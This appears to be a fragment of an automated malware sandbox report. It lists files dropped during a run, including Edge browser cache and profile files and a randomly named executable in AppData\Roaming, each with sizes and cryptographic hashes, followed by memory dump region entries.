C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\69e786a8f56af9d5_0

Filesize
1.3MB

MD5
b11247f5b5560e06f3091fc169925504

SHA1
773a8b0c4b510d3d0da64f0334c3eee9244a8657

SHA256
2b7be492b14b57790ff609529f0254f070b929d4b80f4c157eb6238b8e183fc5

SHA512
0cd98c8fdfaa8168fc64a9fcb48f0a46be76117606965510a005ebc661d31ec8ae183c484ed2b392306f84247a60dfad272e262146c92f60a814a40fc7cdc5ad

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\8e7382a5b04d1309_0

Filesize
1.2MB

MD5
0928988165fdfb7d99fddaf6c5250ed8

SHA1
9c83525f679c36ba18d62bfcf77dc51fd47efbbf

SHA256
1c16d3ae48fb3365edc91182a4bd92235838080a84ae83a1daa29218618bb05b

SHA512
c6b17bf2e05748ba26b18b4ff7089a9bb778acb715a9e7e92543e96e6c337e6278173f5f2459b67866fd309af0246b01d82a8fff313edd2b0b591dfab59b1a4d

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\f29ed5b5251e1eaf_0

Filesize
269B

MD5
260690b442d4e891c30c85487201c467

SHA1
3e1cf432f9c75a7574fb3a2c880c2dd6cff4c42c

SHA256
ceeff7a37e39326230af9199d75b463c0bba298f5a42f2a510e126e6e48c1648

SHA512
11a195b7872d4820e6a322244dcc45b655b36241cb5e686499e49687995e0553258049b33349c0a81436aacebf860914ec3c07564a598ab4dd25aee0d4cd1344

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\fa4fa77862097e5d_0

Filesize
188KB

MD5
a3d88fe4de30f78ba2f785911c8bf8a4

SHA1
b28fceb47ad5708355e8f0b4370064d484207225

SHA256
729e935d0ae4368e37dc1a2a86b17fd51686c8a9a0319984a1f78d2a16bf8028

SHA512
49f4567b749445dae73618dc73a633c3894b36e7ebd18de324565f63fda3092c1c975633ee3b9deb5c357ab2e0918108dc03532ecfb50f3344f1894ea15c86cd

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Network Persistent State

Filesize
437B

MD5
05592d6b429a6209d372dba7629ce97c

SHA1
b4d45e956e3ec9651d4e1e045b887c7ccbdde326

SHA256
3aacb982b8861c38a392829ee3156d05dfdd46b0ecb46154f0ea9374557bc0fd

SHA512
caa85bdccabea9250e8a5291f987b8d54362a7b3eec861c56f79cebb06277aa35d411e657ec632079f46affd4d6730e82115e7b317fbda55dacc16378528abaa

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
5KB

MD5
dd0e2b0ee28d61a96b8f32103a1166cd

SHA1
e38f1d7add7ecce8f03b1224a65df15d1be69007

SHA256
996e8685d08d4884249c5f2791b796bea72a21a8b83c44919ee4ff712eb6804b

SHA512
ebf34f152cc142ddfccc434dee86a22df6918b431cc01f68bb8a4598c609493f6a84003d0db6c1321ca310486a66b09e1054ce8418a0fb1f45fd1519280656c3

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
21b9784fd442b0d25d7351fdb9e775b3

SHA1
c8714ba6de152d5aa45646c543c9c75030428d36

SHA256
7bd907180b2a39f000459112d962d2d6f61e09b6817e3b05e6739ed922abd224

SHA512
8e4f98170d82a6b973c0e5d8aff2ba70f23c8782bff0350b1e5a3a5ae8023c49254734391637f39474a7d2be02acf388b01f3ce57ab38055458362699324b630

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
477fafe0f37d9fec89feab901e78f661

SHA1
fec304786f0a50fc723621278bf047b51ae97a19

SHA256
96606fb35a0abb74e3ed20d942042dd86a4c698fb26bb890b16593e59f667141

SHA512
94a1ba24b28ef7c1894c4a52023dc2224a5b04e72581698cbb220e80106c3c09f98499949b8442730646aad2476b56b6d4e63c372cdef8870fa207103932c901

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
6KB

MD5
369f29446b5c4681b3e7ccfcfed78a4b

SHA1
7a7d48b49281dcf2498cd914d7e8b1c9c6e1fba2

SHA256
9585d334524b10e86e323c9f26caac61aeb627380c620119c318bc64b15cec6f

SHA512
d7226487b0b6aac833bc28f201ad1cd1d1f19e93c8cd5601d83eae55faafe4c1a7aceda9639883d919453999eed97029458dfa42dd5efcecc4d4aa8a98237f0b

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences

Filesize
7KB

MD5
e6337c03fda4184822a31ab9e40e9789

SHA1
32a31fda3484a05694bf65f070a8967227d46855

SHA256
cdfcc13d65dbf5ac6c9c61ac3b64e086351522b7e7ada903924882e91269055e

SHA512
83faf5b3a6422868c86c462cb76226b71a712c6d02e425ab1ebae08ba61505e6725937e3f79795e0791316ccc92e64f2fccd3f98a63cf82e8014797102942f81

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
371B

MD5
42c9b187590ce9556d15bfd3fef518b4

SHA1
70dd45eb3ca82bab7755a0673b6074d1904ae437

SHA256
dc8270adfada45c1d13fa22c4b508dee4bf7608e5fdb9b438570089dc936bea4

SHA512
eb16894892a5c82dd7a166188b57e869eb612814d28232900992695843858a0b0be93045ddb943df8777f389f15048cff66435a58d88f8a9b76a266b48476f91

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
371B

MD5
c13c9a5dee7fd1cf0cf029e88ceddc70

SHA1
f536cfea55c0db44359030fab056bbbbffcdf12b

SHA256
b96c013c00741e71cb37f5d14a7d99366b549dd6bfdde39b133a614e70d20ce4

SHA512
f7cfb3d6283854ca5cfcdcbd956aa9321d47f09509498e3fdeb9bdc48790c5f4cbdc32e1660bb24baa3417318922fd5446827ba0f139d6857bbb5ec0b70d3d1e

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity

Filesize
371B

MD5
54fd3c895bbb5892c4db9058c91cc724

SHA1
28a458c6e4fee6480778af7636bb991a6adddbb0

SHA256
899c16267560f8344994b37aa57c9c8365130deca677640a12cf7b01c854c08f

SHA512
91301173a66e035cd4929f4cc346e549ea0f3dbf8ca1a2d059df6deb326585ac2f42f3a56fd15b9ed1d8c2dc7191ac841239898e80003eb91c6a2b2fdbe55b81

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\TransportSecurity~RFe590a57.TMP

Filesize
369B

MD5
7db1a7cec38d97fe7f8e4eb574a74b7a

SHA1
4f04e1748d74e53e6600f42297a62727b64119bb

SHA256
7349d90bd5581e3e9cbb0ab45d5401f7fa3a1c4681cf5b5185d1e01118264218

SHA512
c42b58c6449a3ecba1049e89c62a2c92a3e9a94e9850cc40d8de01d0c298e8fcf21040a176a755585abb50e20b976b38ad04fc26d20dcdf7b9fb99128f262b0a

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
46295cac801e5d4857d09837238a6394

SHA1
44e0fa1b517dbf802b18faf0785eeea6ac51594b

SHA256
0f1bad70c7bd1e0a69562853ec529355462fcd0423263a3d39d6d0d70b780443

SHA512
8969402593f927350e2ceb4b5bc2a277f3754697c1961e3d6237da322257fbab42909e1a742e22223447f3a4805f8d8ef525432a7c3515a549e984d3eff72b23

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\data_reduction_proxy_leveldb\CURRENT

Filesize
16B

MD5
206702161f94c5cd39fadd03f4014d98

SHA1
bd8bfc144fb5326d21bd1531523d9fb50e1b600a

SHA256
1005a525006f148c86efcbfb36c6eac091b311532448010f70f7de9a68007167

SHA512
0af09f26941b11991c750d1a2b525c39a8970900e98cba96fd1b55dbf93fee79e18b8aab258f48b4f7bda40d059629bc7770d84371235cdb1352a4f17f80e145

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State

Filesize
11KB

MD5
51adc7125203ffeddb7748d42eee994d

SHA1
6ad3b904ce127b4ee85a3b1b605505365dd0a260

SHA256
9572a9e477199ccd2da0daa952ed4efa36b29ab3e91b8fd845ca60a5716243a7

SHA512
b068fc4186971826569331a41e72b842786f4e158752c3d0e9fece24f40a5e369d1b81e3402dba784c6a4756108b4603166c3e7d81ead7494fe05857ab870cd5

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
c9ca40e9a58273e78d91d093076df20a

SHA1
0944ea44906f03bd16839bc826c8a7db86e5ee11

SHA256
89115a7da9545d9b6f9d5ea39dd5fa980df1381f68006638537882078045a788

SHA512
6f0ee8c26028e429a303bd72ad90548d5fc967613b5c5c3684c0e7fc709998e4003e3fd595d48e029786636bab4642444004a46196c9b5530c9aa2a7078dd103

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
18KB

MD5
bbe4790e88b71e8b9784fa27f92aeffc

SHA1
7d145028437da6d5578556b3de44c8a696b6e9e5

SHA256
b43dbdaa7eb89f037c2b7d8e588a868e60bfc5760a224d221bf44c868ece8010

SHA512
a73c6fab246aea968b0196304ef582366436b3785169e8258b5c44aeda378f0d4467b543b715222d8de7a181274784d657114e94f833f8026329ca37ff45f309

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
17KB

MD5
3969a87f96112fd7ef6f2ec2a848d926

SHA1
3520a3d4b5334ffe47559a1013a5b836e5b5c67e

SHA256
b01b7efde01f42df4a90db1b0cec14bbcda0ea56f939ef009abdd1d79de01b5e

SHA512
bd01478e2a2fc756c5695e9f7dff27f5e609e58c217a93b00031cc3223b45583e69a713379a5e3b697a65e31ef7df88968d422cc8fa0bdd267acd3876c360449

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_fkovomvr.02z.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Local\Temp\tmp3B6E.tmp

Filesize
1KB

MD5
8eeef02e61ff7f84da62cbef95d4bec7

SHA1
2fc33dac414a1ea79c521b42346ad03757875766

SHA256
ff9714b84854d4fe32678f4f92dec3ee7c73c1086a1b067e18a41f3ef642d587

SHA512
ab4f0c017063f6ae66864d19f9aefa3b1e7029c8b0277cb22299de24028c6c0e11a88cb68144b8709584d0ac50cf01302b6276a138b9d00f1b39197e39f46e7f

Download Submit
C:\Users\Admin\AppData\Roaming\5wrhYo8GRfUzSQH.exe

Filesize
959KB

MD5
976bea63c8cf1f39ec45ed3eb69c5beb

SHA1
f707ca94bc8afe8d68d847a264ad77e15d5c8075

SHA256
46f651c4920210777b0ba07daded16116fe92eacf759020b8e79cb9244c48e93

SHA512
22003227effe345d6384e07cf5ee5c38ea5259653daa8e7b2f39ebba270e908c53a5b0b89e453349ee42e96901f25751b2f5f6ad8da0254182a426ef80dd07df

Download Submit
memory/112-209-0x0000000074AC0000-0x0000000074B0C000-memory.dmp

Filesize
304KB

Download
memory/1684-299-0x0000000000CE0000-0x0000000000DD2000-memory.dmp

Filesize
968KB

Download
memory/2144-5-0x0000000005A00000-0x0000000005A66000-memory.dmp

Filesize
408KB

Download
memory/2144-2-0x0000000071810000-0x0000000071FC0000-memory.dmp

Filesize
7.7MB

Download
memory/2144-16-0x0000000005AE0000-0x0000000005E34000-memory.dmp

Filesize
3.3MB

Download
memory/2144-18-0x00000000060F0000-0x000000000613C000-memory.dmp

Filesize
304KB

Download
memory/2144-6-0x0000000005A70000-0x0000000005AD6000-memory.dmp

Filesize
408KB

Download
memory/2144-19-0x0000000007900000-0x0000000007F7A000-memory.dmp

Filesize
6.5MB

Download
memory/2144-4-0x0000000005930000-0x0000000005952000-memory.dmp

Filesize
136KB

Download
memory/2144-20-0x0000000006680000-0x000000000669A000-memory.dmp

Filesize
104KB

Download
memory/2144-3-0x00000000052D0000-0x00000000058F8000-memory.dmp

Filesize
6.2MB

Download
memory/2144-17-0x00000000060C0000-0x00000000060DE000-memory.dmp

Filesize
120KB

Download
memory/2144-22-0x0000000007690000-0x0000000007726000-memory.dmp

Filesize
600KB

Download
memory/2144-1-0x00000000027D0000-0x0000000002806000-memory.dmp

Filesize
216KB

Download
memory/2144-23-0x00000000075F0000-0x0000000007612000-memory.dmp

Filesize
136KB

Download
memory/2144-24-0x0000000009530000-0x0000000009AD4000-memory.dmp

Filesize
5.6MB

Download
memory/2144-0-0x000000007181E000-0x000000007181F000-memory.dmp

Filesize
4KB

Download
memory/2144-38-0x0000000071810000-0x0000000071FC0000-memory.dmp

Filesize
7.7MB

Download
memory/2276-72-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2276-70-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/2288-43-0x000000000AF10000-0x000000000AFD0000-memory.dmp

Filesize
768KB

Download
memory/2288-39-0x00000000052A0000-0x0000000005332000-memory.dmp

Filesize
584KB

Download
memory/2288-37-0x00000000008B0000-0x00000000009A2000-memory.dmp

Filesize
968KB

Download
memory/2288-40-0x0000000005270000-0x000000000527A000-memory.dmp

Filesize
40KB

Download
memory/2288-41-0x00000000054F0000-0x000000000558C000-memory.dmp

Filesize
624KB

Download
memory/2288-42-0x0000000005700000-0x000000000571E000-memory.dmp

Filesize
120KB

Download
memory/2320-226-0x00000000070B0000-0x00000000070C4000-memory.dmp

Filesize
80KB

Download
memory/2320-219-0x0000000007060000-0x0000000007071000-memory.dmp

Filesize
68KB

Download
memory/2320-208-0x0000000006D70000-0x0000000006E13000-memory.dmp

Filesize
652KB

Download
memory/2320-198-0x0000000074AC0000-0x0000000074B0C000-memory.dmp

Filesize
304KB

Download
memory/2320-197-0x0000000005D30000-0x0000000005D7C000-memory.dmp

Filesize
304KB

Download
memory/2320-183-0x0000000005720000-0x0000000005A74000-memory.dmp

Filesize
3.3MB

Download
memory/2368-502-0x0000000001000000-0x00000000010F2000-memory.dmp

Filesize
968KB

Download
memory/2464-49-0x00000000053C0000-0x0000000005714000-memory.dmp

Filesize
3.3MB

Download
memory/2464-136-0x0000000006C70000-0x0000000006C8E000-memory.dmp

Filesize
120KB

Download
memory/2464-76-0x0000000005AC0000-0x0000000005B0C000-memory.dmp

Filesize
304KB

Download
memory/2464-125-0x0000000006C30000-0x0000000006C62000-memory.dmp

Filesize
200KB

Download
memory/2464-126-0x0000000073650000-0x000000007369C000-memory.dmp

Filesize
304KB

Download
memory/2464-163-0x0000000007050000-0x0000000007058000-memory.dmp

Filesize
32KB

Download
memory/2464-159-0x0000000006FC0000-0x0000000006FD1000-memory.dmp

Filesize
68KB

Download
memory/2464-158-0x0000000006E60000-0x0000000006E6A000-memory.dmp

Filesize
40KB

Download
memory/2464-154-0x0000000006C90000-0x0000000006D33000-memory.dmp

Filesize
652KB

Download
memory/3356-195-0x0000000001020000-0x0000000001112000-memory.dmp

Filesize
968KB

Download
memory/4976-191-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4976-638-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4976-458-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4976-457-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4976-290-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4976-291-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4976-190-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4976-193-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/4976-637-0x0000000000400000-0x0000000000482000-memory.dmp

Filesize
520KB

Download
memory/5008-137-0x0000000073650000-0x000000007369C000-memory.dmp

Filesize
304KB

Download
memory/5008-161-0x0000000007E00000-0x0000000007E14000-memory.dmp

Filesize
80KB

Download
memory/5008-162-0x0000000007EE0000-0x0000000007EFA000-memory.dmp

Filesize
104KB

Download
memory/5008-160-0x0000000007DF0000-0x0000000007DFE000-memory.dmp

Filesize
56KB

Download
memory/5416-603-0x0000000000480000-0x0000000000572000-memory.dmp

Filesize
968KB

Download